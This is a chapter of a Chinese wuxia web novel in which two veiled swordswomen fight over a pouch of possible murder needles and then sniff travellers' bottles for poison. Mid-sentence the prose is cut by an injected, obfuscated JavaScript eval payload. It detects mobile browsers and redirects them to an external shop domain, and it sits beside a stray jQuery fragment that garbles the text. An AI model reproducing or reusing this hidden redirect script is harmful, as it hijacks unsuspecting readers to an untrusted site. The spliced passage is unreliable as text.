6. 第 6 章
    6

    后院坐着两个忧心忡忡的伙计,两人见有人上前,忌惮对方身怀武艺,嗖一下就起了身。

    其中一人硬着头皮对前边那靛衣女子道:“敢问姑娘来后院作甚,掌柜的说了,任何人不得擅离客栈。”

    桑沉草双手负于身后,姿态悠悠闲闲,从容道:“还是后院安静,前屋太吵闹。”

    两人相视一眼,不敢掉以轻心,沙河死人并不稀奇,偏偏那人是被害死的武林高手。

    能杀死天下第一刀的,能是什么无名之辈?

    在杳杳客栈多年,店中伙计虽不曾踏足江湖一步,却也因来往过客众多,听说过不少武林中的恩怨情仇,深知其中险恶。

    “不必慌张。”桑沉草不紧不慢坐在另一边,从怀中取出一只布囊。

    此时奉云哀姗姗来迟,目光滞在桑沉草手上。

    那布囊卷拢,看着像是医者惯用的之物,如若是,那里边说不定有金银针。

    奉云哀目光一定,蓦地出手上前抢夺,白帷迎风扬起,露出个素洁的下巴。

    和此地百姓相比,她太白,白得好似没有血色。

    桑沉草眼微眯,轻哂一声。

    白衣人出手很快,又极干脆,但架不住桑沉草反应迅速,立刻出招抵挡。

    掌风陡然相对,两掌仅隔一寸。

    一只手白如脂玉,一只手被日晒得略显黧黑,恰似山中墨石。

    白紫两道真气缠斗难分,猛朝四面迸溅开来。

    溅开的气劲逼得边上那两名伙计往后仰身,摔了个四脚朝天。

    奉云哀只字不言,只管出手掠夺,她的功法寒气逼人,招招式式都利落凛冽,半点不拖泥带水。

    真气随她身形而动,既像云雾又像披帛,一时间她与民间话本里的九天神女,简直真假难辨。

    而她身上背负的刀剑有那么多,身法步调也丝毫未受影响,听那啷当响声,好像有百只铃铛在旁摇晃。

    桑沉草低低哧笑,应对得还算游刃有余,但随之她眉头一皱,意识到对方的攻势越来越疾,此前明显是在试探她的底细。

    好在奉云哀只单出掌,并未拔剑,她步法翩跹,不似春风,倒像游龙。

    若不是此时白衣人意图昭著,已动真格,桑沉草或许还会觉得,这浮动的白裙甚是仙气逼人,能令人神魂颠倒。

    奉云哀几乎就要拿到桑沉草手里的布囊,指尖已经碰及,可在下一瞬,她瞳仁微缩。

    布囊扬向天际,被桑沉草甩高五尺。

    随之,桑沉草侧身震出一掌,掌中怕是蕴藏了十成的内力。

    但见那布囊变作齑粉,连同里边的东西,也成了金银碎屑。

    天色已晚,此时已近子时,檐下灯笼煌煌而动,那些金银碎屑隐约可见。

    东西变作齑粉,已辨不出其本来面貌。

    被气劲扫着,奉云哀的帷帽略微掀起了些许,她回过神,连忙将白帷捋回原状。

    “啊呀。”靛衣人笑道:“你拿不着了。”

    奉云哀不动声色,那布包毁坏得太快,她根本无法断定,对方毁去的究竟是不是金针银针。

    而单凭对方急于销毁的举动,她也无法就此佐证,她如果一口咬定这女子就是杀人凶手,未免太过强词夺理。

    再说了,如此邪性之人,行事本就不同寻常。

    一些闪闪发亮齑粉,被风卷着贴地滚远。

    奉云哀眼眸当即一转,盯向桑沉草,淡声问:“你毁了什么。”

    “忘了。”桑沉草拍拂双掌。

    “是针?”奉云哀追问。

    “随你怎么想,反正人不是我害的。”桑沉草依旧不恼,说话声格外乐呵,“我只是向来不喜旁人争掠,与其被别人拿走,不如毁在我手上。”

    奉云哀皱眉。

    桑沉草看对方收了攻势,迈出一步倾身靠近,几乎是唇贴耳地说:“你可别急着怀疑我,万一有人想拿我当替死鬼,这客栈可就又多了一具可怜的尸。”

    奉云哀退开一步,耳廓略有些痒。

    不远处那倒得四仰八叉的两人已经爬起身,不知所措地对视一眼,不敢随意开口。

    桑沉草气定神闲道:“你们方才看到什么听到什么,尽管报给你们掌柜听,我不是行凶者,自然不会杀你们灭口。”

    这话听起来颇有几分像威胁,但见都见到了,怎能不报。而此时客栈里住着那么多的高手,假使凶手真是此人,还怕擒不到她?

    两名伙计拔腿就跑。

    桑沉草转身再度看向奉云哀,饶有兴致地问:“方才如果拔剑,你会拔身上哪一把?”

    奉云哀思索片刻,没有指出任何一把,而是说:“我没有惯用兵器,任何刀剑,我都可以用。”

    “耍杂的都没你厉害。”桑沉草揶揄,打起哈欠慢步从后院离开。

    奉云哀隐约觉

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450137|141562||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    得,这不是好话。

    约莫是在后半夜,林杳杳坐着打起瞌睡,脑袋晃了两个时辰不止,客房终于被搜查完毕。

    伙计道:“掌柜,搜不到银针,一些瓶瓶罐罐都在这了,咱们也闻不出是不是毒。”

    事前已对众人搜过身,假若有毒,便只能在这些器皿之中。

    耳边一阵清脆的碰撞声,林杳杳醒过神,眼看着这些江湖客也已昏昏欲睡,赶紧道:“时候不早了,有没有懂行的来认认,这些瓶罐中都装的什么。”

    众人纷纷睁眼,面面相觑了一阵,竟无人自荐。

    “略通医毒。”桑沉草走上前,径自坐在长板凳上。

    自从听到后院那两名伙计报来的消息,林杳杳对此女更加心怀芥蒂,不敢轻信。

    林杳杳转头环视众人道:“还有谁?”

    无人应声。

    奉云哀本是不想出面的,但眼看着桑沉草已经拔开瓶塞轻嗅,便道:“我来一试。”

    两人都戴帷帽,俱是轻抬帷幕去闻,谁都没有露脸。

    众人伸长脖颈看,认出了自己的东西,生怕被冤枉,张口就指明器皿中所盛之物。

    一些是香料,一些是驱虫散,还有凝血散和顺气丸,多是行走江湖者会随身携带的。

    一通嗅辨,竟没一样是毒。

    不过众人本也不抱期许,害得了鬼面刀虎逞的,若非功夫了得,便是手段了得。

    凶手的心计怕是重比泰山,什么蛛丝马迹,多半早就消失如烟。

    奉云哀不着痕迹地看了靛衣人一眼,起身说:“既然找不出来,不如回房歇息。”

    林杳杳眼皮半睁不睁的,“都回吧,今夜耽误大家了,明日我请诸位喝酒吃肉。”

    众人心事重重地散去,连那些搁在桌上的瓶罐也不要了。

    桑沉草后上的楼,她刚走到自己的房门前,脚步倏然一顿,不由得仰头,重新辨认木牌上的字。

    还真是她的房间,但她门前立着位白衣女子。

    白衣人替她推了房门,淡淡道:“今夜我会看着你。”

    桑沉草不慌不忙地进屋,不以为意地笑着道:“你就这么在乎虎逞的死?看来,你原来还真寄希望于虎逞啊。”

    “非也。”奉云哀看对方上了门闩,便自顾自地坐在桌边。

    “这般认真,难不成……你怕那暗中人会将你看中的高手挨个杀害?”桑沉草打趣道。